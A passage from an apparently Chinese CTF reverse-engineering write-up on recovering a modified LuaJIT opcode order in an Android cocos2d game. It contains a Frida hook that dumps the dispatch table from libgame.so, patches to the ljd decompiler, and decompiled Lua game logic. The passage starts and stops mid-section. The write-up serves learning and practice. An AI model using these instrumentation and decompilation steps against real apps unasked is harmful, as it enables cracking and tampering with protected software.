MSize stacksize; /* True stack size (incl. LJ_STACK_EXTRA). */
};

glref字段,这个字段指向了globle_State结构体,保存着luajit全局信息,通过这个可以找到GG_State结构体,这个结构体保存着dispatch字段,这个字段是一个数组,这个数组维护luajit内部指令跳转表,每条luajit虚拟机指令都能在这个数组中找到对应处理,这个GG_State在lj_dispatch.h头文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Global state, main thread and extra fields are allocated together. */
typedef struct GG_State {
lua_State L; /* Main thread. */
global_State g; /* Global state. */
#if LJ_TARGET_MIPS
ASMFunction got[LJ_GOT__MAX]; /* Global offset table. */
#endif
#if LJ_HASJIT
jit_State J; /* JIT state. */
HotCount hotcount[HOTCOUNT_SIZE]; /* Hot counters. */
#endif
ASMFunction dispatch[GG_LEN_DISP]; /* Instruction dispatch tables. */
BCIns bcff[GG_NUM_ASMFF]; /* Bytecode for ASM fast functions. */
} GG_State;

lua_loadbuffer函数是加载运行luajit字节码的,所以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
LUALIB_API int luaL_loadbuffer(lua_State *L, const char *buf, size_t size,
const char *name)
{
return luaL_loadbufferx(L, buf, size, name, NULL);
}

LUALIB_API int luaL_loadbufferx(lua_State *L, const char *buf, size_t size,
const char *name, const char *mode)
{
StringReaderCtx ctx;
ctx.str = buf;
ctx.size = size;
return lua_loadx(L, reader_string, &ctx, name, mode);
}

LUA_API int lua_loadx(lua_State *L, lua_Reader reader, void *data,
const char *chunkname, const char *mode)
{
LexState ls;
int status;
ls.rfunc = reader;
ls.rdata = data;
ls.chunkarg = chunkname ? chunkname : "?";
ls.mode = mode;
lj_buf_init(L, &ls.sb);
status = lj_vm_cpcall(L, NULL, &ls, cpparser);
lj_lex_cleanup(L, &ls);
lj_gc_check(L);
return status;
}

首先在调用lua_loadx前会保存当前变量和长度,然后通过调用lj_vm_cpcall函数来启动虚拟机。但接下来是比较难分析的,因为该函数是汇编写法,总之,该汇编基本原理如下:

取指令通过ldr INSw, [PC], #4 实现,PC和INSw定义在文件头,对应x21和x16寄存器。这句汇编的意思就是从 x21 指向的空间里取来 32 bits 存放到 x16 的低四字节,然后 x21 自增 4(指向下一条指令),由此也可以得知 LuaJIT 采用定长指令集,每条指令长度为 4 字节。

译码主要操作是decode_RA RA, INS 宏和 add RA, BASE, RA, lsl #3 来解析操作数,然后跳转地址。

1
2
3
add TMP1, GL, INS, uxtb #3          x9 = x22 + (((unsigned int)(x16 & 0xFF)) << 3)
ldr TMP0, [TMP1, #GG_G2DISP] x9 加上常数 #GG_G2DISP 后指向的地址空间里取出 8 字节放到 x8
br TMP0 跳转到处理例程去执行

这里的 TMP0 和 TMP1 分别是 x8 和 x9 寄存器,INS 就是 x16 寄存器。

其中 GG_G2DISP 定义在 lj_dispatch.h 中:

1
2
3
4
5
6
7
8
9
10
11
C
typedef struct GG_State {
...
global_State g; /* Global state. */
...
ASMFunction dispatch[GG_LEN_DISP]; /* Instruction dispatch tables. */
...
} GG_State;

#define GG_OFS(field) ((int)offsetof(GG_State, field))
#define GG_G2DISP (GG_OFS(dispatch) - GG_OFS(g))

GG_State 结构体的 g 字段与 dispatch 字段的地址差值,该值可在 IDA 中查看,为 0xF30:

image-20230410215934466

因此可以进一步理解三条汇编:首先通过GL寄存器加上0xf30找到dispatch数组,该数组每一项(8字节)都是处理例程的指针,元素下标位该处理例程的opcode,在此基础上加上opcode*8得到当前ocpode处理例程。

从lj_bc.h可以知道该版本下的luajit有97种opcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129

#define BCDEF(_) \
/* Comparison ops. ORDER OPR. */ \
_(ISLT, var, ___, var, lt) \
_(ISGE, var, ___, var, lt) \
_(ISLE, var, ___, var, le) \
_(ISGT, var, ___, var, le) \
\
_(ISEQV, var, ___, var, eq) \
_(ISNEV, var, ___, var, eq) \
_(ISEQS, var, ___, str, eq) \
_(ISNES, var, ___, str, eq) \
_(ISEQN, var, ___, num, eq) \
_(ISNEN, var, ___, num, eq) \
_(ISEQP, var, ___, pri, eq) \
_(ISNEP, var, ___, pri, eq) \
\
/* Unary test and copy ops. */ \
_(ISTC, dst, ___, var, ___) \
_(ISFC, dst, ___, var, ___) \
_(IST, ___, ___, var, ___) \
_(ISF, ___, ___, var, ___) \
_(ISTYPE, var, ___, lit, ___) \
_(ISNUM, var, ___, lit, ___) \
\
/* Unary ops. */ \
_(MOV, dst, ___, var, ___) \
_(NOT, dst, ___, var, ___) \
_(UNM, dst, ___, var, unm) \
_(LEN, dst, ___, var, len) \
\
/* Binary ops. ORDER OPR. VV last, POW must be next. */ \
_(ADDVN, dst, var, num, add) \
_(SUBVN, dst, var, num, sub) \
_(MULVN, dst, var, num, mul) \
_(DIVVN, dst, var, num, div) \
_(MODVN, dst, var, num, mod) \
\
_(ADDNV, dst, var, num, add) \
_(SUBNV, dst, var, num, sub) \
_(MULNV, dst, var, num, mul) \
_(DIVNV, dst, var, num, div) \
_(MODNV, dst, var, num, mod) \
\
_(ADDVV, dst, var, var, add) \
_(SUBVV, dst, var, var, sub) \
_(MULVV, dst, var, var, mul) \
_(DIVVV, dst, var, var, div) \
_(MODVV, dst, var, var, mod) \
\
_(POW, dst, var, var, pow) \
_(CAT, dst, rbase, rbase, concat) \
\
/* Constant ops. */ \
_(KSTR, dst, ___, str, ___) \
_(KCDATA, dst, ___, cdata, ___) \
_(KSHORT, dst, ___, lits, ___) \
_(KNUM, dst, ___, num, ___) \
_(KPRI, dst, ___, pri, ___) \
_(KNIL, base, ___, base, ___) \
\
/* Upvalue and function ops. */ \
_(UGET, dst, ___, uv, ___) \
_(USETV, uv, ___, var, ___) \
_(USETS, uv, ___, str, ___) \
_(USETN, uv, ___, num, ___) \
_(USETP, uv, ___, pri, ___) \
_(UCLO, rbase, ___, jump, ___) \
_(FNEW, dst, ___, func, gc) \
\
/* Table ops. */ \
_(TNEW, dst, ___, lit, gc) \
_(TDUP, dst, ___, tab, gc) \
_(GGET, dst, ___, str, index) \
_(GSET, var, ___, str, newindex) \
_(TGETV, dst, var, var, index) \
_(TGETS, dst, var, str, index) \
_(TGETB, dst, var, lit, index) \
_(TGETR, dst, var, var, index) \
_(TSETV, var, var, var, newindex) \
_(TSETS, var, var, str, newindex) \
_(TSETB, var, var, lit, newindex) \
_(TSETM, base, ___, num, newindex) \
_(TSETR, var, var, var, newindex) \
\
/* Calls and vararg handling. T = tail call. */ \
_(CALLM, base, lit, lit, call) \
_(CALL, base, lit, lit, call) \
_(CALLMT, base, ___, lit, call) \
_(CALLT, base, ___, lit, call) \
_(ITERC, base, lit, lit, call) \
_(ITERN, base, lit, lit, call) \
_(VARG, base, lit, lit, ___) \
_(ISNEXT, base, ___, jump, ___) \
\
/* Returns. */ \
_(RETM, base, ___, lit, ___) \
_(RET, rbase, ___, lit, ___) \
_(RET0, rbase, ___, lit, ___) \
_(RET1, rbase, ___, lit, ___) \
\
/* Loops and branches. I/J = interp/JIT, I/C/L = init/call/loop. */ \
_(FORI, base, ___, jump, ___) \
_(JFORI, base, ___, jump, ___) \
\
_(FORL, base, ___, jump, ___) \
_(IFORL, base, ___, jump, ___) \
_(JFORL, base, ___, lit, ___) \
\
_(ITERL, base, ___, jump, ___) \
_(IITERL, base, ___, jump, ___) \
_(JITERL, base, ___, lit, ___) \
\
_(LOOP, rbase, ___, jump, ___) \
_(ILOOP, rbase, ___, jump, ___) \
_(JLOOP, rbase, ___, lit, ___) \
\
_(JMP, rbase, ___, jump, ___) \
\
/* Function headers. I/J = interp/JIT, F/V/C = fixarg/vararg/C func. */ \
_(FUNCF, rbase, ___, ___, ___) \
_(IFUNCF, rbase, ___, ___, ___) \
_(JFUNCF, rbase, ___, lit, ___) \
_(FUNCV, rbase, ___, ___, ___) \
_(IFUNCV, rbase, ___, ___, ___) \
_(JFUNCV, rbase, ___, lit, ___) \
_(FUNCC, rbase, ___, ___, ___) \
_(FUNCCW, rbase, ___, ___, ___)

根据上述规则,我们可以用hook找到这些在so中的处理例程的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var output = false;
var lib_base = Module.findBaseAddress("libgame.so");

Interceptor.attach(lib_base.add(0xACFEF0), {
onEnter: function(args) {
if (!output) {
var GL = this.context.x22;
var dispatch = GL.add(0xF30);
for (var i = 0; i < 97; ++i) {
var prog_ptr = dispatch.add(i * 8).readPointer();
console.log(prog_ptr.sub(lib_base));
}
output = true;
}
},
onLeave: function(retval) {}
})

得到所有地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
0xacdaf0
0xacdb70
0xacdbf0
0xacdc70
0xacdcf0
0xacdd74
0xacddf4
0xacde44
0xacde94
0xacdf20
0xacdfac
0xacdff0
0xace034
0xace060
0xace08c
0xace0b0
0xace0d0
0xace0f0
0xace120
0xace160
0xace1a0
0xace1d8
0xace210
0xace234
0xace258
0xace278
0xace2a8
0xace2ec
0xace334
0xace348
0xace3f0
0xace458
0xace4c8
0xace534
0xace5a0
0xace614
0xace65c
0xace6d0
0xace73c
0xace7a8
0xace81c
0xace864
0xace8d8
0xace944
0xace9b0
0xacea24
0xacea6c
0xaceae0
0xaceb28
0xaceb74
0xaceba8
0xacec18
0xacec80
0xacecb4
0xacece8
0xaced24
0xaced6c
0xacedcc
0xacee20
0xacee38
0xacee50
0xaceedc
0xacef70
0xacefdc
0xacf024
0xacf0d4
0xacf1d0
0xacf260
0xacf2f4
0xacf35c
0xacf36c
0xacf3b4
0xacf3c0
0xacf47c
0xacf4cc
0xacf570
0xacf62c
0xacf6a4
0xacf734
0xacf7d0
0xacf7ec
0xacf878
0xacf8fc
0xacf918
0xacf94c
0xacf97c
0xacf998
0xacf9b0
0xacf9d4
0xacf9f4
0xacfa10
0xacfa50
0xacfa80
0xacfa80
0xacfb04
0xacfb08
0xacfb50

接下来就是对照源码vm_arm64.dasc,在ida中标出97个地址对应的opcode。具体就是在源码build_ins函数中找到和汇编一样的case,然后修改函数名为opcode名称,这样我们就将 opcode 的顺序找到了,下一步就该对之前 dump 下来的 luac64 文件进行反编译了。

综上所述,总结一下:该apk是通过cocos2d引擎lua开发的游戏,这个题的lua通过luajit加载器加载到了so文件中,而且这个luajit加载器的源码被改过。所以想反编译就必须找到正确的opcode顺序,可以通过hook,找到每个opcode处理地址,然后手动对比dump出的地址处的汇编和源码汇编并修改函数名称,再用idapython dump出对应顺序,最后修改 ljd/rawdump/luajit/v2_1/luajit_opcode.py_OPCODES元组,ljd/bytecode/instructions.py处的指令和ljd/ast/builder.py指令解析。

该指令方法如下:

1、打开ljd/rawdump/luajit/v2_1/luajit_opcode.py,修改_OPCODES如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
(0x0, instructions.ISLT),
(0x1, instructions.ISGE),
(0x2, instructions.ISLE),
(0x3, instructions.ISGT),
(0x4, instructions.ISEQV),
(0x5, instructions.ISNEV),
(0x6, instructions.ISEQS),
(0x7, instructions.ISNES),
(0x8, instructions.ISEQN),
(0x9, instructions.ISNEN),
(0xa, instructions.ISEQP),
(0xb, instructions.ISNEP),
(0xc, instructions.KSTR),
(0xd, instructions.KCDATA),
(0xe, instructions.KSHORT),
(0xf, instructions.KNUM),
(0x10, instructions.KPRI),
(0x11, instructions.KNIL),
(0x12, instructions.ISTC),
(0x13, instructions.ISFC),
(0x14, instructions.IST),
(0x15, instructions.ISF),
(0x16, instructions.ISTYPE),
(0x17, instructions.ISNUM),
(0x18, instructions.MOV),
(0x19, instructions.NOT),
(0x1a, instructions.UNM),
(0x1b, instructions.LEN),
(0x1c, instructions.RETM),
(0x1d, instructions.RET),
(0x1e, instructions.RET0),
(0x1f, instructions.RET1),
(0x20, instructions.ADDVN),
(0x21, instructions.SUBVN),
(0x22, instructions.MULVN),
(0x23, instructions.DIVVN),
(0x24, instructions.MODVN),
(0x25, instructions.ADDNV),
(0x26, instructions.SUBNV),
(0x27, instructions.MULNV),
(0x28, instructions.DIVNV),
(0x29, instructions.MODNV),
(0x2a, instructions.ADDVV),
(0x2b, instructions.SUBVV),
(0x2c, instructions.MULVV),
(0x2d, instructions.DIVVV),
(0x2e, instructions.MODVV),
(0x2f, instructions.POW),
(0x30, instructions.CAT),
(0x31, instructions.UGET),
(0x32, instructions.USETV),
(0x33, instructions.USETS),
(0x34, instructions.USETN),
(0x35, instructions.USETP),
(0x36, instructions.UCLO),
(0x37, instructions.FNEW),
(0x38, instructions.TNEW),
(0x39, instructions.TDUP),
(0x3a, instructions.GGET),
(0x3b, instructions.GSET),
(0x3c, instructions.TGETV),
(0x3d, instructions.TGETS),
(0x3e, instructions.TGETB),
(0x3f, instructions.TGETR),
(0x40, instructions.TSETV),
(0x41, instructions.TSETS),
(0x42, instructions.TSETB),
(0x43, instructions.TSETM),
(0x44, instructions.TSETR),
(0x45, instructions.CALLM),
(0x46, instructions.CALL),
(0x47, instructions.CALLMT),
(0x48, instructions.CALLT),
(0x49, instructions.ITERC),
(0x4a, instructions.ITERN),
(0x4b, instructions.VARG),
(0x4c, instructions.ISNEXT),
(0x4d, instructions.FORI),
(0x4e, instructions.JFORI),
(0x4f, instructions.FORL),
(0x50, instructions.IFORL),
(0x51, instructions.JFORL),
(0x52, instructions.ITERL),
(0x53, instructions.IITERL),
(0x54, instructions.JITERL),
(0x55, instructions.LOOP),
(0x56, instructions.ILOOP),
(0x57, instructions.JLOOP),
(0x58, instructions.JMP),
(0x59, instructions.FUNCF),
(0x5a, instructions.IFUNCF),
(0x5b, instructions.JFUNCF),
(0x5c, instructions.FUNCV),
(0x5d, instructions.IFUNCV),
(0x5e, instructions.JFUNCV),
(0x5f, instructions.FUNCC),
(0x60, instructions.FUNCCW)

2、修改ljd/bytecode/instructions.py的第97行开始,按照1的函数顺序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
ISLT = _IDef("ISLT", 		T_VAR, 	None, 	T_VAR, 	"if {A} < {D}")
ISGE = _IDef("ISGE", T_VAR, None, T_VAR, "if {A} >= {D}")
ISLE = _IDef("ISLE", T_VAR, None, T_VAR, "if {A} <= {D}")
ISGT = _IDef("ISGT", T_VAR, None, T_VAR, "if {A} > {D}")

ISEQV = _IDef("ISEQV", T_VAR, None, T_VAR, "if {A} == {D}")
ISNEV = _IDef("ISNEV", T_VAR, None, T_VAR, "if {A} ~= {D}")

ISEQS = _IDef("ISEQS", T_VAR, None, T_STR, "if {A} == {D}")
ISNES = _IDef("ISNES", T_VAR, None, T_STR, "if {A} ~= {D}")

ISEQN = _IDef("ISEQN", T_VAR, None, T_NUM, "if {A} == {D}")
ISNEN = _IDef("ISNEN", T_VAR, None, T_NUM, "if {A} ~= {D}")

ISEQP = _IDef("ISEQP", T_VAR, None, T_PRI, "if {A} == {D}")
ISNEP = _IDef("ISNEP", T_VAR, None, T_PRI, "if {A} ~= {D}")

# Constant ops.

KSTR = _IDef("KSTR", T_DST, None, T_STR, "{A} = {D}")
KCDATA = _IDef("KCDATA", T_DST, None, T_CDT, "{A} = {D}")
KSHORT = _IDef("KSHORT", T_DST, None, T_SLIT, "{A} = {D}")
KNUM = _IDef("KNUM", T_DST, None, T_NUM, "{A} = {D}")
KPRI = _IDef("KPRI", T_DST, None, T_PRI, "{A} = {D}")

KNIL = _IDef("KNIL", T_BS, None, T_BS, "{from_A_to_D} = nil")

# Unary test and copy ops

ISTC = _IDef("ISTC", T_DST, None, T_VAR, "{A} = {D}; if {D}")
ISFC = _IDef("ISFC", T_DST, None, T_VAR, "{A} = {D}; if not {D}")

IST = _IDef("IST", None, None, T_VAR, "if {D}")
ISF = _IDef("ISF", None, None, T_VAR, "if not {D}")

ISTYPE = _IDef("ISTYPE", T_VAR, None, T_LIT, "ISTYPE unknow")
ISNUM = _IDef("ISNUM", T_VAR, None, T_LIT, "ISNUM unknow")
# Unary ops

MOV = _IDef("MOV", T_DST, None, T_VAR, "{A} = {D}")
NOT = _IDef("NOT", T_DST, None, T_VAR, "{A} = not {D}")
UNM = _IDef("UNM", T_DST, None, T_VAR, "{A} = -{D}")
LEN = _IDef("LEN", T_DST, None, T_VAR, "{A} = #{D}")

# Returns.

RETM = _IDef("RETM", T_BS, None, T_LIT,
"return {from_A_x_D_minus_one}, ...MULTRES")

RET = _IDef("RET", T_RBS, None, T_LIT,
"return {from_A_x_D_minus_two}")

RET0 = _IDef("RET0", T_RBS, None, T_LIT, "return")
RET1 = _IDef("RET1", T_RBS, None, T_LIT, "return {A}")

# Binary ops

ADDVN = _IDef("ADDVN", T_DST, T_VAR, T_NUM, "{A} = {B} + {C}")
SUBVN = _IDef("SUBVN", T_DST, T_VAR, T_NUM, "{A} = {B} - {C}")
MULVN = _IDef("MULVN", T_DST, T_VAR, T_NUM, "{A} = {B} * {C}")
DIVVN = _IDef("DIVVN", T_DST, T_VAR, T_NUM, "{A} = {B} / {C}")
MODVN = _IDef("MODVN", T_DST, T_VAR, T_NUM, "{A} = {B} % {C}")

ADDNV = _IDef("ADDNV", T_DST, T_VAR, T_NUM, "{A} = {C} + {B}")
SUBNV = _IDef("SUBNV", T_DST, T_VAR, T_NUM, "{A} = {C} - {B}")
MULNV = _IDef("MULNV", T_DST, T_VAR, T_NUM, "{A} = {C} * {B}")
DIVNV = _IDef("DIVNV", T_DST, T_VAR, T_NUM, "{A} = {C} / {B}")
MODNV = _IDef("MODNV", T_DST, T_VAR, T_NUM, "{A} = {C} % {B}")

ADDVV = _IDef("ADDVV", T_DST, T_VAR, T_VAR, "{A} = {B} + {C}")
SUBVV = _IDef("SUBVV", T_DST, T_VAR, T_VAR, "{A} = {B} - {C}")
MULVV = _IDef("MULVV", T_DST, T_VAR, T_VAR, "{A} = {B} * {C}")
DIVVV = _IDef("DIVVV", T_DST, T_VAR, T_VAR, "{A} = {B} / {C}")
MODVV = _IDef("MODVV", T_DST, T_VAR, T_VAR, "{A} = {B} % {C}")

POW = _IDef("POW", T_DST, T_VAR, T_VAR, "{A} = {B} ^ {C} (pow)")
CAT = _IDef("CAT", T_DST, T_RBS, T_RBS,
"{A} = {concat_from_B_to_C}")

# Upvalue and function ops.

UGET = _IDef("UGET", T_DST, None, T_UV, "{A} = {D}")

USETV = _IDef("USETV", T_UV, None, T_VAR, "{A} = {D}")
USETS = _IDef("USETS", T_UV, None, T_STR, "{A} = {D}")
USETN = _IDef("USETN", T_UV, None, T_NUM, "{A} = {D}")
USETP = _IDef("USETP", T_UV, None, T_PRI, "{A} = {D}")

UCLO = _IDef("UCLO", T_RBS, None, T_JMP,
"nil uvs >= {A}; goto {D}")

FNEW = _IDef("FNEW", T_DST, None, T_FUN, "{A} = function {D}")

# Table ops.

TNEW = _IDef("TNEW", T_DST, None, T_LIT, "{A} = new table("
" array: {D_array},"
" dict: {D_dict})")

TDUP = _IDef("TDUP", T_DST, None, T_TAB, "{A} = copy {D}")

GGET = _IDef("GGET", T_DST, None, T_STR, "{A} = _env[{D}]")
GSET = _IDef("GSET", T_VAR, None, T_STR, "_env[{D}] = {A}")

TGETV = _IDef("TGETV", T_DST, T_VAR, T_VAR, "{A} = {B}[{C}]")
TGETS = _IDef("TGETS", T_DST, T_VAR, T_STR, "{A} = {B}.{C}")
TGETB = _IDef("TGETB", T_DST, T_VAR, T_LIT, "{A} = {B}[{C}]")
TGETR = _IDef("TGETR", T_DST, T_VAR, T_VAR, "unkown TGETR")

TSETV = _IDef("TSETV", T_VAR, T_VAR, T_VAR, "{B}[{C}] = {A}")
TSETS = _IDef("TSETS", T_VAR, T_VAR, T_STR, "{B}.{C} = {A}")
TSETB = _IDef("TSETB", T_VAR, T_VAR, T_LIT, "{B}[{C}] = {A}")

TSETM = _IDef("TSETM", T_BS, None, T_NUM,
"for i = 0, MULTRES, 1 do"
" {A_minus_one}[{D_low} + i] = slot({A} + i)")

TSETR = _IDef("TSETR", T_VAR, T_VAR, T_VAR, "unkow TSETR")
# Calls and vararg handling. T = tail call.

CALLM = _IDef("CALLM", T_BS, T_LIT, T_LIT,
"{from_A_x_B_minus_two} = {A}({from_A_plus_one_x_C}, ...MULTRES)")

CALL = _IDef("CALL", T_BS, T_LIT, T_LIT,
"{from_A_x_B_minus_two} = {A}({from_A_plus_one_x_C_minus_one})")

CALLMT = _IDef("CALLMT", T_BS, None, T_LIT,
"return {A}({from_A_plus_one_x_D}, ...MULTRES)")

CALLT = _IDef("CALLT", T_BS, None, T_LIT,
"return {A}({from_A_plus_one_x_D_minus_one})")

ITERC = _IDef("ITERC", T_BS, T_LIT, T_LIT,
"{A}, {A_plus_one}, {A_plus_two} ="
" {A_minus_three}, {A_minus_two}, {A_minus_one};"
" {from_A_x_B_minus_two} ="
" {A_minus_three}({A_minus_two}, {A_minus_one})")

ITERN = _IDef("ITERN", T_BS, T_LIT, T_LIT,
"{A}, {A_plus_one}, {A_plus_two} ="
" {A_minus_three}, {A_minus_two}, {A_minus_one};"
" {from_A_x_B_minus_two} ="
" {A_minus_three}({A_minus_two}, {A_minus_one})")

VARG = _IDef("VARG", T_BS, T_LIT, T_LIT,
"{from_A_x_B_minus_two} = ...")

ISNEXT = _IDef("ISNEXT", T_BS, None, T_JMP,
"Verify ITERN at {D}; goto {D}")

# Loops and branches. I/J = interp/JIT, I/C/L = init/call/loop.

FORI = _IDef("FORI", T_BS, None, T_JMP,
"for {A_plus_three} = {A},{A_plus_one},{A_plus_two}"
" else goto {D}")

JFORI = _IDef("JFORI", T_BS, None, T_JMP,
"for {A_plus_three} = {A},{A_plus_one},{A_plus_two}"
" else goto {D}")

FORL = _IDef("FORL", T_BS, None, T_JMP,
"{A} = {A} + {A_plus_two};"
" if cmp({A}, sign {A_plus_two}, {A_plus_one}) goto {D}")

IFORL = _IDef("IFORL", T_BS, None, T_JMP,
"{A} = {A} + {A_plus_two};"
" if cmp({A}, sign {A_plus_two}, {A_plus_one}) goto {D}")

JFORL = _IDef("JFORL", T_BS, None, T_JMP,
"{A} = {A} + {A_plus_two};"
" if cmp({A}, sign {A_plus_two}, {A_plus_one}) goto {D}")

ITERL = _IDef("ITERL", T_BS, None, T_JMP,
"{A_minus_one} = {A}; if {A} != nil goto {D}")

IITERL = _IDef("IITERL", T_BS, None, T_JMP,
"{A_minus_one} = {A}; if {A} != nil goto {D}")

JITERL = _IDef("JITERL", T_BS, None, T_LIT,
"{A_minus_one} = {A}; if {A} != nil goto {D}")

LOOP = _IDef("LOOP", T_RBS, None, T_JMP, "Noop")
ILOOP = _IDef("ILOOP", T_RBS, None, T_JMP, "Noop")
JLOOP = _IDef("JLOOP", T_RBS, None, T_LIT, "Noop")

JMP = _IDef("JMP", T_RBS, None, T_JMP, " goto {D}")

# Function headers. I/J = interp/JIT, F/V/C = fixarg/vararg/C func.
# Shouldn't be ever seen - they are not stored in raw dump?

FUNCF = _IDef("FUNCF", T_RBS, None, None,
"Fixed-arg function with frame size {A}")

IFUNCF = _IDef("IFUNCF", T_RBS, None, None,
"Interpreted fixed-arg function with frame size {A}")

JFUNCF = _IDef("JFUNCF", T_RBS, None, T_LIT,
"JIT compiled fixed-arg function with frame size {A}")

FUNCV = _IDef("FUNCV", T_RBS, None, None,
"Var-arg function with frame size {A}")

IFUNCV = _IDef("IFUNCV", T_RBS, None, None,
"Interpreted var-arg function with frame size {A}")

JFUNCV = _IDef("JFUNCV", T_RBS, None, T_LIT,
"JIT compiled var-arg function with frame size {A}")

FUNCC = _IDef("FUNCC", T_RBS, None, None,
"C function with frame size {A}")
FUNCCW = _IDef("FUNCCW", T_RBS, None, None,
"Wrapped C function with frame size {A}")

UNKNW = _IDef("UNKNW", T_LIT, T_LIT, T_LIT, "Unknown instruction")

3、修改ljd/ast/builder.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
diff -urNa ljd-old/ast/builder.py ljd-new/ast/builder.py
--- ljd-old/ast/builder.py 2020-05-09 03:43:27.000000000 -0700
+++ ljd-new/ast/builder.py 2022-09-20 02:04:53.955771000 -0700
@@ -276,7 +276,7 @@
last = instructions[-1]
opcode = 256 if len(instructions) == 1 else instructions[-2].opcode

- if opcode <= ins.ISF.opcode:
+ if opcode in (ins.ISLT.opcode, ins.ISGE.opcode, ins.ISLE.opcode, ins.ISGT.opcode, ins.ISEQV.opcode, ins.ISNEV.opcode, ins.ISEQS.opcode, ins.ISNES.opcode, ins.ISEQN.opcode, ins.ISNEN.opcode, ins.ISEQP.opcode, ins.ISNEP.opcode, ins.ISTC.opcode, ins.ISFC.opcode, ins.IST.opcode, ins.ISF.opcode):
assert last.opcode != ins.ISNEXT.opcode
return _build_conditional_warp(state, last_addr, instructions)
else:
@@ -507,7 +507,7 @@
expression = _build_unary_expression(state, addr, instruction)

# Binary assignment operators (A = B op C)
- elif opcode <= ins.POW.opcode:
+ elif ins.ADDVN.opcode <= opcode <= ins.POW.opcode:
expression = _build_binary_expression(state, addr, instruction)

# Concat assignment type (A = B .. B + 1 .. ... .. C - 1 .. C)
@@ -515,7 +515,7 @@
expression = _build_concat_expression(state, addr, instruction)

# Constant assignment operators except KNIL, which is weird anyway
- elif opcode <= ins.KPRI.opcode:
+ elif ins.KSTR.opcode <= opcode <= ins.KPRI.opcode:
expression = _build_const_expression(state, addr, instruction)

elif opcode == ins.UGET.opcode:
@@ -524,7 +524,7 @@
elif opcode == ins.USETV.opcode:
expression = _build_slot(state, addr, instruction.CD)

- elif opcode <= ins.USETP.opcode:
+ elif ins.USETS.opcode <= opcode <= ins.USETP.opcode:
expression = _build_const_expression(state, addr, instruction)

elif opcode == ins.FNEW.opcode:

然后在luajit-decompiler-master根目录运行python main.py -f <script_name>.luac64 > <script_name>.lua 可以得到单个文件的反编译结果

image-20230411213234681

最后就可以看到lua代码,而不是汇编(这点还是很友善地)

代码分析

在GameScene.lua中有判断胜利的条件:

1
2
3
4
5
6
7
8
9
10
11
if (slot0.mario.face == MarioState.RIGHT or slot3 == MarioState.JUMP_RIGHT) and slot0.mainMap.enemyList[1] and slot4.position.x <= slot2.x + slot0.marioSize.width and slot2.y <= slot4.position.y + 10 then
if slot0.mario.bodyType == MarioBodyState.NORMAL then
slot0.win = true

slot0.mainMap:onWin()
else
slot0:doMarioDie()

return
end
end

首先是要求马里奥的bodyType大小是normal,正常初始是small,发现在collisionV 函数中

1
2
3
4
5
for slot6 = 6, slot0.marioSize.width - 7 do
if slot0.mainMap:isMarioEatMushroom(slot0.mainMap:pointToTileCoord(cc.p(slot1.x - slot0.marioSize.width / 2 + slot6, slot1.y + slot0.marioSize.height))) then
slot0.mario:changeForGotMushroom()
cc.SimpleAudioEngine:getInstance():playEffect(music_eatmushroomOrFlower)
end

存在changeForGotMushroom(),猜测是吃蘑菇变大,在GameMap.lua中有isMarioEatMushroom来判断是否吃蘑菇,在这个函数上方有showNewMushroom函数,是显示蘑菇,这个就比较重要了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

function slot0.showNewMushroom(slot0, slot1, slot2)
cc.SimpleAudioEngine:getInstance():playEffect(music_dingchumoguhuohua)

slot0.mushTileCoord = cc.p(slot1.x, slot1.y - 1)
slot3 = cc.pAdd(slot0:tileCoordToPoint(slot0.mushTileCoord), cc.p(slot0.tileSize.width / 2, slot0.tileSize.height / 2))

if slot2 == MarioBodyState.SMALL then
slot0.mushSprite = cc.Sprite:create(pic_rewardMushroom, cc.rect(0, 0, 16, 16))
elseif MarioBodyState.NORMAL == slot2 then
slot0.mushSprite = cc.Sprite:create(pic_toolMushroom, cc.rect(0, 0, 18, 18))
end

slot3.y = slot3.y - slot0.tileSize.height

slot0.mushSprite:setPosition(slot3)
slot0:addChild(slot0.mushSprite)
slot0.mushSprite:runAction(cc.MoveBy:create(0.5, cc.p(0, slot0.tileSize.height)))
end

这个函数是在breakBrick函数调用

1
2
3
4
5
6
7
8
